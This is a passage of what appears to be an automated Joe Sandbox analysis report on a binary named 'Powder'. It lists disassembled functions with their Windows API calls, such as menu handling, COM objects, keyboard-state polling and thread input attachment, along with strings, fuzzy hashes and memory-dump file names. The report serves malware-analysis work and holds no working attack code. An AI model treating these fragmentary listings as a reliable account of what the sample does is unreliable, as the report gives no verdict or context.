Instruction ID: 975e6b84d817b6c15689ebc0cf1878abd303fc3bed66b44b0a5e0745694e70a0
Opcode Fuzzy Hash: fa0c7a086c4934e88b9b38a6c04f5539d34e0d8f0e51f5e1388289aa43806ca6
Instruction Fuzzy Hash: 95510E711083429FC314EF55C892AAFB7A5FF90354F60481DF9A5872A2EB30EE09DB52

Function 00C84D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00C84D62
__swprintf.LIBCMT ref: 00C84DAC
__i64tow.LIBCMT ref: 00CBDB3B

Strings

True, xrefs: 00CBDAFC
0x%p, xrefs: 00CBDB1D
%.15g, xrefs: 00C84DA6
False, xrefs: 00CBDB03

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 7d21122c23eafc513740f7cde4752ddc0df042d70c10207c49b38fbd489153c3
Instruction ID: 59b061bc7185ed915337823f460d315b27a7f93b1194d31d51e62b71939ac6d1
Opcode Fuzzy Hash: 7d21122c23eafc513740f7cde4752ddc0df042d70c10207c49b38fbd489153c3
Instruction Fuzzy Hash: 8C41C37160420AAFDB28EF64DC42EBA73E8EB45308F24446BF55AD7291EA319E41A710

Function 00D07777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D0778F
CreateMenu.USER32 ref: 00D077AA
SetMenu.USER32(?,00000000), ref: 00D077B9
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D07846
IsMenu.USER32(?), ref: 00D0785C
CreatePopupMenu.USER32 ref: 00D07866
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00D07893
DrawMenuBar.USER32 ref: 00D0789B

Strings

F, xrefs: 00D07887
0, xrefs: 00D07785

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 1969e4f5498b2616a92786ca957205efa8f820f8a563aec9b506bf5c01bfca58
Instruction ID: f596e93cdf3e435f953c5272d58c5847792ccef275fdd143b8942cf260f5c7b8
Opcode Fuzzy Hash: 1969e4f5498b2616a92786ca957205efa8f820f8a563aec9b506bf5c01bfca58
Instruction Fuzzy Hash: 09410B74A04209EFEB10DF64D888BDA7BB5FF49310F188429F949A7390D771A911DF60

Function 00D07AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00D07B83
CreateCompatibleDC.GDI32(00000000), ref: 00D07B8A
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00D07B9D
SelectObject.GDI32(00000000,00000000), ref: 00D07BA5
GetPixel.GDI32(00000000,00000000,00000000), ref: 00D07BB0
DeleteDC.GDI32(00000000), ref: 00D07BB9
GetWindowLongW.USER32(?,000000EC), ref: 00D07BC3
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00D07BD7
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00D07BE3

Strings

static, xrefs: 00D07B1B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 2a7fc45031d70fbfe9c1f009a5f49e3a023dc0bb06c56c5d64cdc316ae208541
Instruction ID: 4261cf7ffcab9e3fe61cb38059f4a6db54ac8241e77df594905c6cdfafdd4e62
Opcode Fuzzy Hash: 2a7fc45031d70fbfe9c1f009a5f49e3a023dc0bb06c56c5d64cdc316ae208541
Instruction Fuzzy Hash: 96315832504218BBDF11AFA4DC49FDA3F69EF09360F104215FA59A62E0CB75A861DBB4

Function 00CA7030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CA706B

Part of subcall function 00CA8D58: __getptd_noexit.LIBCMT ref: 00CA8D58

__gmtime64_s.LIBCMT ref: 00CA7104
__gmtime64_s.LIBCMT ref: 00CA713A
__gmtime64_s.LIBCMT ref: 00CA7157
__allrem.LIBCMT ref: 00CA71AD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CA71C9
__allrem.LIBCMT ref: 00CA71E0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CA71FE
__allrem.LIBCMT ref: 00CA7215
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CA7233
__invoke_watson.LIBCMT ref: 00CA72A4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: 9f430c42b3be564e4512f05a60fcc44d1f9cb781339bfdc5667fca0ada56d67d
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: D671E771A04717ABD7149FB9CC41BAAB7A9BF52328F14433AF524E7281EB70DA4097D0

Function 00CE2CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE2CE9
GetMenuItemInfoW.USER32(00D47890,000000FF,00000000,00000030), ref: 00CE2D4A
SetMenuItemInfoW.USER32(00D47890,00000004,00000000,00000030), ref: 00CE2D80
Sleep.KERNEL32(000001F4), ref: 00CE2D92
GetMenuItemCount.USER32(?), ref: 00CE2DD6
GetMenuItemID.USER32(?,00000000), ref: 00CE2DF2
GetMenuItemID.USER32(?,-00000001), ref: 00CE2E1C
GetMenuItemID.USER32(?,?), ref: 00CE2E61
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00CE2EA7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00CE2EBB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00CE2EDC

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 6e0f93653a570088b86da4f310358b70604d708b5ac1a3a9dafa6ac2f9a6d594
Instruction ID: f62ce8f724afe533a5738f59897512a8ac8af7536fc4497479c38837aa3a30c3
Opcode Fuzzy Hash: 6e0f93653a570088b86da4f310358b70604d708b5ac1a3a9dafa6ac2f9a6d594
Instruction Fuzzy Hash: A461BBB0900299AFDB20DF66CC88AFEBBBDEB01305F144059F851E3251DB71AE46DB20

Function 00D07548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00D075CA
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00D075CD
GetWindowLongW.USER32(?,000000F0), ref: 00D075F1
_memset.LIBCMT ref: 00D07602
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00D07614
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00D0768C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 4f485ad6266ceae9099e1f62d1d2251d13ccd2c8f7f737a8abbdc5799852c20f
Instruction ID: 74008df4a33d8d78ef9b60ff2fe76c96064db8d63921cc789c365e7b31e77f84
Opcode Fuzzy Hash: 4f485ad6266ceae9099e1f62d1d2251d13ccd2c8f7f737a8abbdc5799852c20f
Instruction Fuzzy Hash: BA615875904208AFDB10DFA4CC85EEE77B8EB49710F14419AFA19AB2A1D770AD41DBA0

Function 00CD77B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00CD77DD
SafeArrayAllocData.OLEAUT32(?), ref: 00CD7836
VariantInit.OLEAUT32(?), ref: 00CD7848
SafeArrayAccessData.OLEAUT32(?,?), ref: 00CD7868
VariantCopy.OLEAUT32(?,?), ref: 00CD78BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 00CD78CF
VariantClear.OLEAUT32(?), ref: 00CD78E4
SafeArrayDestroyData.OLEAUT32(?), ref: 00CD78F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00CD78FA
VariantClear.OLEAUT32(?), ref: 00CD790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00CD7917

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: b6010401bb72a89c7d5c54c6dc8f3ec8a04ea7e617a3dd613006a98de4fea62c
Instruction ID: 9095685301bd87b51d4db787ff732b31081a1c15a8a6d220c049317f37a725ee
Opcode Fuzzy Hash: b6010401bb72a89c7d5c54c6dc8f3ec8a04ea7e617a3dd613006a98de4fea62c
Instruction Fuzzy Hash: C1414535A00219AFCB04DF94D8889DDBBB9FF48304F00C16AEA55E7361DB70A946DFA0

Function 00CE0508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00CE0530
GetAsyncKeyState.USER32(000000A0), ref: 00CE05B1
GetKeyState.USER32(000000A0), ref: 00CE05CC
GetAsyncKeyState.USER32(000000A1), ref: 00CE05E6
GetKeyState.USER32(000000A1), ref: 00CE05FB
GetAsyncKeyState.USER32(00000011), ref: 00CE0613
GetKeyState.USER32(00000011), ref: 00CE0625
GetAsyncKeyState.USER32(00000012), ref: 00CE063D
GetKeyState.USER32(00000012), ref: 00CE064F
GetAsyncKeyState.USER32(0000005B), ref: 00CE0667
GetKeyState.USER32(0000005B), ref: 00CE0679

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 178974724d23085d0481424d5e78e78673edd0e23fc7e981a5590778128f4f47
Instruction ID: 3d215bd9e7705a3ddb1373800a573978451f00d9073a6072697ed4bd9a2eb135
Opcode Fuzzy Hash: 178974724d23085d0481424d5e78e78673edd0e23fc7e981a5590778128f4f47
Instruction Fuzzy Hash: E941E8305047C96DFF30976588043B5BEA46B55304F18805DE9D5866C2EBE89BD4CFE6

Function 00CF8AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

CoInitialize.OLE32 ref: 00CF8AED
CoUninitialize.OLE32 ref: 00CF8AF8
CoCreateInstance.OLE32(?,00000000,00000017,00D13BBC,?), ref: 00CF8B58
IIDFromString.OLE32(?,?), ref: 00CF8BCB
VariantInit.OLEAUT32(?), ref: 00CF8C65
VariantClear.OLEAUT32(?), ref: 00CF8CC6

Strings

Failed to create object, xrefs: 00CF8B63, 00CF8C19
Invalid parameter, xrefs: 00CF8BE4
NULL Pointer assignment, xrefs: 00CF8B9D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 12c8b10d2d2b5a5f147972cdfedb2c928d0184787bfcd8bf0086c3af04adffc7
Instruction ID: 0588dc9a34959493c49afa8571d61bcaf876798a7430a6e0baadcda1d259e83f
Opcode Fuzzy Hash: 12c8b10d2d2b5a5f147972cdfedb2c928d0184787bfcd8bf0086c3af04adffc7
Instruction Fuzzy Hash: E0619F70208715AFC750EF15C889F6ABBE4AF44714F10484EFA859B291DB70EE48CBA7

Function 00CEBB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CEBB13
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00CEBB89
GetLastError.KERNEL32 ref: 00CEBB93
SetErrorMode.KERNEL32(00000000,READY), ref: 00CEBC00

Strings

NOTREADY, xrefs: 00CEBBBF
UNKNOWN, xrefs: 00CEBBB8
INVALID, xrefs: 00CEBBD2
READONLY, xrefs: 00CEBBCB
READY, xrefs: 00CEBBD9

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: a621fdd9b0cb0b166a83bf1ac41645a90c092b1577334e9246e7788508829ea1
Instruction ID: 5eb335e95b7d1adcf8519a181d4509cbf26794fe83cd7a3163b987d5f81cbff2
Opcode Fuzzy Hash: a621fdd9b0cb0b166a83bf1ac41645a90c092b1577334e9246e7788508829ea1
Instruction Fuzzy Hash: 4A31F735A00349AFCB10EF66C845EBEBBB4EF44310F14805AF915D7295DB70AE41CB90

Function 00CD9B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Part of subcall function 00CDB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB7BD

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00CD9BCC
GetDlgCtrlID.USER32 ref: 00CD9BD7
GetParent.USER32 ref: 00CD9BF3
SendMessageW.USER32(00000000,?,00000111,?), ref: 00CD9BF6
GetDlgCtrlID.USER32(?), ref: 00CD9BFF
GetParent.USER32(?), ref: 00CD9C1B
SendMessageW.USER32(00000000,?,?,00000111), ref: 00CD9C1E

Strings

ListBox, xrefs: 00CD9B89
ComboBox, xrefs: 00CD9B54

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: bae6055ab96ed66b1b8372879c705afe6abb1e3a8bccd010245d9b3c6d59f35d
Instruction ID: c49a9d2a45a1600eaa22245427dcab835a55238a3f48fa5e7747e5202bc584b0
Opcode Fuzzy Hash: bae6055ab96ed66b1b8372879c705afe6abb1e3a8bccd010245d9b3c6d59f35d
Instruction Fuzzy Hash: 9C21B074A00204BFCF04AB64CC89EFEBBA5EF95310F104116F96193391DF758959EA20

Function 00CD9C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Part of subcall function 00CDB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00CDB7BD

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00CD9CB5
GetDlgCtrlID.USER32 ref: 00CD9CC0
GetParent.USER32 ref: 00CD9CDC
SendMessageW.USER32(00000000,?,00000111,?), ref: 00CD9CDF
GetDlgCtrlID.USER32(?), ref: 00CD9CE8
GetParent.USER32(?), ref: 00CD9D04
SendMessageW.USER32(00000000,?,?,00000111), ref: 00CD9D07

Strings

ListBox, xrefs: 00CD9C74
ComboBox, xrefs: 00CD9C3F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 48daf6d3598def270b5de45a299cdbda9e71746773e24d3de9252cb0db540440
Instruction ID: 4850135ca858b54635c6ac48a8c2fea2a6be53ff84e334941c25c861876f79f0
Opcode Fuzzy Hash: 48daf6d3598def270b5de45a299cdbda9e71746773e24d3de9252cb0db540440
Instruction Fuzzy Hash: 1021A175A40204BFDF04AB64CC85EFEBBB9EF94300F104116F96197291DB758959EA20

Function 00CF8F95 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CF8FC1
CoInitialize.OLE32(00000000), ref: 00CF8FEE
CoUninitialize.OLE32 ref: 00CF8FF8
GetRunningObjectTable.OLE32(00000000,?), ref: 00CF90F8
SetErrorMode.KERNEL32(00000001,00000029), ref: 00CF9225
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00D13BDC), ref: 00CF9259
CoGetObject.OLE32(?,00000000,00D13BDC,?), ref: 00CF927C
SetErrorMode.KERNEL32(00000000), ref: 00CF928F
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00CF930F
VariantClear.OLEAUT32(?), ref: 00CF931F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: af8f01148f796d0ec7a2fa8d822798f562642717ae37916ed1f0852163943fa2
Instruction ID: c09dd2a72ac7e8b3ba62f95ea936b5ddf309e4f675748fd3f664d71752ee73fd
Opcode Fuzzy Hash: af8f01148f796d0ec7a2fa8d822798f562642717ae37916ed1f0852163943fa2
Instruction Fuzzy Hash: 3AC12571608309AFDB40EF65C884A6BB7E9FF89308F00491DF68A9B251DB71ED45CB52

Function 00CE19CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00CE19EF
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00CE0A67,?,00000001), ref: 00CE1A03
GetWindowThreadProcessId.USER32(00000000), ref: 00CE1A0A
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00CE0A67,?,00000001), ref: 00CE1A19
GetWindowThreadProcessId.USER32(?,00000000), ref: 00CE1A2B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00CE0A67,?,00000001), ref: 00CE1A44
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00CE0A67,?,00000001), ref: 00CE1A56
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00CE0A67,?,00000001), ref: 00CE1A9B
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00CE0A67,?,00000001), ref: 00CE1AB0
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00CE0A67,?,00000001), ref: 00CE1ABB

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: d972e6cbb94cefa93eb6c980b6a7583a1c79cde25b0d1fd76c03f71110a62471
Instruction ID: 9bfe9895306f66d5986069f90fe52943208c933efc374d6ce904adbe19686a6b
Opcode Fuzzy Hash: d972e6cbb94cefa93eb6c980b6a7583a1c79cde25b0d1fd76c03f71110a62471
Instruction Fuzzy Hash: 1831CC79601384BFEB10AF12DC48FB93BAAAF56355F148125FC10C6290CBB49E94AB30

Function 00CBC0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00C8260D
SetTextColor.GDI32(?,000000FF), ref: 00C82617
SetBkMode.GDI32(?,00000001), ref: 00C8262C
GetStockObject.GDI32(00000005), ref: 00C82634
GetClientRect.USER32(?), ref: 00CBC0FC
SendMessageW.USER32(?,00001328,00000000,?), ref: 00CBC113
GetWindowDC.USER32(?), ref: 00CBC11F
